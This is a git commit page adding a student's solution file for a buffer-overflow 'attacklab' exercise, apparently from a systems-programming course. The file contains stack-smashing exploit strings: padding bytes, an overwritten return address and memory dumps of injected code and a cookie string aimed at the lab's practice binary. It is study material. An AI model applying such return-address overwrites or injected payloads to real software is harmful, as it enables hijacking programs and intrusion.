diff options
| author | Mike Vink <mike@pionative.com> | 2024-07-09 09:06:58 +0200 |
|---|---|---|
| committer | Mike Vink <mike@pionative.com> | 2024-07-09 09:06:58 +0200 |
| commit | 7ae6aa6a64f3f697edb90bb573862bf31dd14e69 (patch) | |
| tree | e80f43394fd5814e30f98a7faa189f8f49424681 /labs/attacklab/solution/stack.c | |
| parent | 8092f4c334db547ced59d6f439b558dad35e1ab2 (diff) | |
chapter 3: reading excercises + attacklab
Diffstat (limited to 'labs/attacklab/solution/stack.c')
| -rw-r--r-- | labs/attacklab/solution/stack.c | 27 |
1 files changed, 27 insertions, 0 deletions
diff --git a/labs/attacklab/solution/stack.c b/labs/attacklab/solution/stack.c new file mode 100644 index 0000000..1c9002f --- /dev/null +++ b/labs/attacklab/solution/stack.c @@ -0,0 +1,27 @@ +// 00 00 00 00 00 00 00 00 // free space: int val +// 00 00 00 00 00 40 17 c0 // return address: call getbuf +// ef be ad de ef be ad de // rsp - 8 +// ef be ad de ef be ad de // rsp - 16 +// ef be ad de ef be ad de // rsp - 24 +// ef be ad de ef be ad de // rsp - 32 +// ef be ad de ef be ad de // rsp - 40 + +ef be ad de ef be ad de +ef be ad de ef be ad de +ef be ad de ef be ad de +ef be ad de ef be ad de +ef be ad de ef be ad de +40 17 c0 00 00 00 00 00 + + +0x5561dc78: 0x17ec6859b997fabf 0xdeadbeefdec30040 +0x5561dc88: 0xdeadbeefdeadbeef 0xdeadbeefdeadbeef +0x5561dc98: 0xdeadbeefdeadbeef 0x0000000000000000 + +59 b9 97 fa + +006166373939623935 + +0x5561dc78: 0xdeadbeefdeadbeef 0xdeadbeefdeadbeef +0x5561dc88: 0xdeadbeefdeadbeef 0x35adbeefdeadbeef +0x5561dc98: 0x0061663739396239 0x000000005561dc78 |
